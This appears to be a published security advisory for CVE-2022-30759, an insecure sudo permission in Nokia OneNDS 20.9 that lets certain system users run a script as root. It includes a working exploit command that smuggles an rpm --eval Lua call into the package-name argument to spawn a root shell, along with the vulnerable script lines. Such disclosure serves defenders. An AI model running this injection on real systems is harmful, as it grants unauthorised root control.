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Nokia OneNDS 20.9 Insecure Permissions / Privilege Escalation

Nokia OneNDS 20.9 Insecure Permissions / Privilege Escalation
Posted Apr 21, 2023
Authored by Giacomo Sighinolfi

Nokia OneNDS 20.9 has loose sudo permissions that can allow users to escalate privileges.

tags | exploit
advisories | CVE-2022-30759
SHA-256 | 039f9568152fd31aa5f779ebb2810e14455f1fa0c4f2d93d530677863406e264

Nokia OneNDS 20.9 Insecure Permissions / Privilege Escalation

Change Mirror Download
===============================================================================
title: Incorrect Permission Assignment
product: Nokia OneNDS 20.9
vulnerability type: Security Misconfiguration
severity: High
CVSS Score: 7.8
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
found on: 04/05/2022
by: Giacomo Sighinolfi <giacomosighinolfi@gmail.com>
cve: CVE-2022-30759
===============================================================================

Some sudo permissions can be exploited by some users to escalate to root
privileges and execute arbitrary commands on the system.

The affected users are:
Provgw, notifs, dbmrun, (system users)
They can run as root the following script:
/opt/cntdb/bin/noscripts_rpm.sh
It can be exploited with:
sudo /opt/cntdb/bin/noscripts_rpm.sh force-erase
"--eval '%{lua:os.execute(\"/bin/sh\")}'"


===============================================================================

Detailed analysis:

The script accept as first argument one of the these options:
install|update|fallback|erase|test-install|test-update|test-erase|
force-install|force-update|force-erase
and as a second argument an arbitrary rpm package name.

If we analyze the switch case code block (row 175) we can see how the first
argument influence the execution of the script.
175. case "$1" in

224. test-erase)
225. TEST_OPTION="--test"
226. OPTION="-e"
227. ;;

238. force-erase)
239. TEST_OPTION="--nodeps"
240. OPTION="-e"
241. ;;

Using “force-erase” or “test-erase” as the first argument, it creates “OPTION”
variable with “-e” as its value. That value allow us to trigger a privilege
escalation exploiting the rpm command (row 254) with a particular rpm package
name as second parameter passed to the script.

252. if [ $OPTION == "-e" ]
253. then
254. rpm $OPTION --noscripts $TEST_OPTION $2


===============================================================================
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